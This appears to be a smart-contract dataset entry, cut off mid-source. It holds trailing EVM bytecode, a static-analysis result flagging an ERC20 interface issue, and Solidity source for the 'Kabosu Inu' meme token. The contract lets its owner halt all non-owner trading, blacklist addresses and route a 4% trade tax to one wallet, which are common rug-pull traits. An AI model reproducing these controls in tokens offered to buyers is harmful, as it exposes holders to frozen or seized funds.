fffffffffffff16906020019091905050610a54565b005b341561026b57600080fd5b6102a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b71565b005b34156102ad57600080fd5b6102b5610cbf565b604051808215151515815260200191505060405180910390f35b34156102da57600080fd5b610306600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd2565b005b341561031357600080fd5b61031b610deb565b6040518082815260200191505060405180910390f35b341561033c57600080fd5b610390600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebb565b005b341561039d57600080fd5b6103a561109b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f257600080fd5b61041e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c1565b6040518082815260200191505060405180910390f35b341561043f57600080fd5b6104476110d9565b6040518082815260200191505060405180910390f35b341561046857600080fd5b6104706110df565b6040518082815260200191505060405180910390f35b341561049157600080fd5b6104996110e5565b6040518082815260200191505060405180910390f35b34156104ba57600080fd5b6104c26110eb565b005b34156104cf57600080fd5b6104fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a9565b604051808215151515815260200191505060405180910390f35b341561052057600080fd5b61056b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ff565b6040518082815260200191505060405180910390f35b341561058c57600080fd5b610594611224565b604051808215151515815260200191505060405180910390f35b34156105b957600080fd5b6105e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611237565b6040518082815260200191505060405180910390f35b341561060657600080fd5b61060e611346565b005b341561061b57600080fd5b610623611406565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067057600080fd5b61067861142f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c557600080fd5b6106cd611454565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070d5780820151818401526020810190506106f2565b50505050905090810190601f16801561073a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561075357600080fd5b610788600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114f2565b005b341561079557600080fd5b6107b4600480803590602001909190803590602001909190505061169c565b005b34156107c157600080fd5b6107d76004808035906020019091905050611781565b005b34156107e457600080fd5b6107fa6004808035906020019091905050611978565b005b341561080757600080fd5b610852600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b0b565b6040518082815260200191505060405180910390f35b341561087357600080fd5b61087b611c50565b6040518082815260200191505060405180910390f35b341561089c57600080fd5b6108c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c56565b604051808215151515815260200191505060405180910390f35b34156108ed57600080fd5b610919600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c76565b005b341561092657600080fd5b61092e611d8f565b6040518082815260200191505060405180910390f35b341561094f57600080fd5b61097b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611db3565b005b341561098857600080fd5b6109b4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e88565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aaf57600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610b8957600080fd5b600a60149054906101000a900460ff1615610caf57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515610c9657600080fd5b6102c65a03f11515610ca757600080fd5b505050610cba565b610cb9838361200c565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2d57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610eb257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e9057600080fd5b6102c65a03f11515610ea157600080fd5b505050604051805190509050610eb8565b60015490505b90565b600060149054906101000a900460ff16151515610ed757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f3057600080fd5b600a60149054906101000a900460ff161561108a57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b151561107157600080fd5b6102c65a03f1151561108257600080fd5b505050611096565b6110958383836121a9565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114657600080fd5b600060149054906101000a900460ff16151561116157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561133557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561131357600080fd5b6102c65a03f1151561132457600080fd5b505050604051805190509050611341565b61133e82612650565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a157600080fd5b600060149054906101000a900460ff161515156113bd57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114ea5780601f106114bf576101008083540402835291602001916114ea565b820191906000526020600020905b8154815290600101906020018083116114cd57829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561150e57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561156757600080fd5b600a60149054906101000a900460ff161561168d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b505050611698565b6116978282612699565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116f757600080fd5b60148210151561170657600080fd5b60328110151561171557600080fd5b81600381905550611734600954600a0a82612a0190919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117dc57600080fd5b60015481600154011115156117f057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118c057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d357600080fd5b80600154101515156119e457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a5357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611c3d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611c1b57600080fd5b6102c65a03f11515611c2c57600080fd5b505050604051805190509050611c4a565b611c478383612a3c565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e8557806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee557600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3d57600080fd5b611f4682611237565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561202457600080fd5b600082141580156120b257506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156120be57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156121c657600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061226e61271061226060035488612a0190919063ffffffff16565b612ac390919063ffffffff16565b92506004548311156122805760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561233c576122bb8585612ade90919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61234f8386612ade90919063ffffffff16565b91506123a385600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ade90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243882600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156125e2576124f783600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156126b457600080fd5b6126dd6127106126cf60035487612a0190919063ffffffff16565b612ac390919063ffffffff16565b92506004548311156126ef5760045492505b6127028385612ade90919063ffffffff16565b915061275684600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ade90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127eb82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612995576128aa83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612a165760009150612a35565b8284029050828482811515612a2757fe5b04141515612a3157fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612ad157fe5b0490508091505092915050565b6000828211151515612aec57fe5b818303905092915050565b6000808284019050838110151515612b0b57fe5b80915050929150505600a165627a7a7230582066ed701771aa90447fed1525e441234a5c8aaef45dd00b10313f28663e9d83c40029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
581
0x81d3a575b9de02489a6dd83a56af70a3025ef242
// SPDX-License-Identifier: Unlicensed //This adorable Shiba inu is named $Kabosu, //On February 13, 2010, his owner, Atsuko Sato, posted a series of photos of Kabosu on her blog. //The most profound photo became the logo of Dogecoin and went viral around the world. //$Kabosu was abandoned to a shelter but would have to be euthanized if she had not been adopted. //But it made new friends, a new home, a new life, and even became a worldwide meme. //His life as a dog is also colorful. Doge is so popular around the world that his name is barely mentioned, but here he is today! //This is not just a 260,000-fold increase. //Total: 10,000,000,000 //Max buy: 100,000,000 //Burn: 5,000,000,000 pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KABOSU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kabosu Inu"; string private constant _symbol = "KABOSU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xDdE9da7A840a9A9C1e9CFDd077fbA72B1a1F214d); address payable private _marketingAddress = payable(0xDdE9da7A840a9A9C1e9CFDd077fbA72B1a1F214d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000001 * 10**9; uint256 public _maxWalletSize = 100000001 * 10**9; uint256 public _swapTokensAtAmount = 10001 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( 